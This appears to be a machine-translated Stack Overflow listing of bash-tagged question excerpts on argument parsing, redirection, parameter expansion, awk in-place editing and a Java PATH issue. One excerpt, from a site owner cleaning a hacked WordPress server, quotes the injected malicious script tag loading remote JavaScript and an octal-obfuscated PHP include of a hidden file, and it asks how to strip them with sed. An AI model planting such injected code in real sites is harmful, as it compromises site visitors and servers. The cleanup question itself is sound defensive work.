Questions tagged «bash»

有关为Bash命令外壳编写的脚本的问题。对于具有错误/语法错误的shell脚本,请在此处发布之前,使用shellcheck程序(或在Web shellcheck服务器中的https://shellcheck.net)进行检查。有关Bash交互使用的问题更可能是Super User而不是Stack Overflow上的话题。

3
无法将'#'字符作为命令行参数传递
我不能传递#以命令行参数开头的字符串。 这是一个简单的测试: #include <stdio.h> int main(int argc, char *argv[]) { for (int i = 1; i < argc; i++) printf("%s ", argv[i]); putchar('\n'); return 0; } 如果我输入参数如下: 2 4 # 5 6 argcis 3和not 的值6。它会#在此处读取并停止。我不知道为什么,在C语言和C Primer Plus的副本中也找不到答案。

1
3>&1隐含4>&3 5>&3等吗?
我希望 echo foo | tee /proc/self/fd/{3..6} 3>&1 因/ proc / self / fd / 4之类的错误而失败:没有此类文件或目录等,但令我惊讶的是,它输出 foo foo foo foo foo 就像3>&1导致以下所有描述符都重定向到stdout一样,除非如果我更改3为其他内容则不起作用,例如 $ echo foo | tee /proc/self/fd/{3..6} 4>&1 tee: /proc/self/fd/3: No such file or directory tee: /proc/self/fd/5: No such file or directory tee: /proc/self/fd/6: No such file or directory foo …

7
如何在不执行命令的情况下编辑当前的Shell命令?
关于如何使用“ edit-and-execute-command(Cx Ce)”使用编辑器编辑和执行命令的信息似乎很多,但是我想实现的是采用当前的shell命令,应用某些过滤(使用脚本),然后将其返回以提示进一步批准/手动更改,然后再执行。bash有可能吗?
13 bash 

7
如何使用sed或可能的grep替换整个字符串
因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中 <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 我确实使用grep通过grep搜索 grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 我正在尝试将其替换为整个文件结构,sed并编写了以下命令。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php 我想先替换单个文件上的字符串index.php,所以我知道它可以工作。 而且我知道我的代码是错误的。请帮我解决一下这个。 我尝试使用@Eran的代码,它删除了整行,这很好,符合预期。但是,总的行话是这个 /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ 在删除所有内容的同时,我希望保留php开头标签<?php。 尽管@slybloty的解决方案很简单并且有效。 以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -删除脚本行 find . -type f -name …
10 bash  shell  sed  grep 

1
参数扩展导致空字符串的处理方式有所不同
更新资料 bug-bash邮件列表中的某人已确认这是一个bug。 如果有人感兴趣,可以在最新的commit to devel branch中找到修复程序。 而 bash -c 'echo "${1##*""}"' _ bar 打印一个空行, bash -c 'echo "${1##*"${1##*}"}"' _ bar 版画bar。 我不明白 ${1##*}扩展为空字符串,因此"${1##*}"应按原样对待"",但bash似乎不这么认为。 在其他流行的sh实现中似乎对此达成了共识: $ sh -c 'echo "${1##*"${1##*}"}"' _ bar $ ash -c 'echo "${1##*"${1##*}"}"' _ bar $ dash -c 'echo "${1##*"${1##*}"}"' _ bar $ ksh -c 'echo "${1##*"${1##*}"}"' …
10 bash 

2
找不到Synology Scheduler .sh Java命令
我有一个bash脚本,那就是唯一的任务就是执行一个jar文件。 短信 java -jar /volume1/homes/jar/smssender.jar 使用Synology NAS设置任务。 添加命令以执行bash脚本。添加日志输出。 执行我的新任务。 检查日志以查看以下错误: /volume1/homes/jar/sms.sh:第1行:java:找不到命令 检查Java版本/安装: 手动检查sh脚本的执行(有效): 有人遇到同样的奇怪情况吗?任何解决方法/想法? 我试过了 重新启动我的NAS 卸载/安装Java8软件包 但没有一个有效。
9 java  bash  synology 

3
使用NON GNU awk将修改保存到位
我遇到了一个问题(关于SO本身),OP必须在其中进行编辑并将操作保存到Input_file(s)本身中。 我知道对于一个Input_file我们可以执行以下操作: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file 现在让我们说我们需要以相同类型的文件格式进行更改(在此处假设.txt)。 我为这个问题尝试/想到的方法:它的方法是遍历.txt文件的for循环,并且调用singleawk是一个痛苦且不建议的过程,因为这将浪费不必要的cpu​​周期,并且对于更多数量的文件,它将更多慢。 因此,可以使用awk不支持inplace选项的NON GNU对多个文件执行就地编辑。我也经历了这个线程,用awk将修改保存到位,但对于NON GNU awk副工具和更改其内部的多个文件并没有多大作用awk,因为非GNU awk将没有inplace选择权。 注意:为什么要添加bash标签,因为在答案部分中,我已经使用bash命令将临时文件重命名为其实际的Input_file名称,因此添加了它。 编辑:根据Ed先生的评论,在此处添加了示例示例,尽管该线程代码的目的也可以由通用目的就地编辑使用。 样本输入文件: cat test1.txt onetwo three tets testtest cat test2.txt onetwo three tets testtest cat test3.txt onetwo three tets testtest 预期输出样本: cat test1.txt 1 2 cat …
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.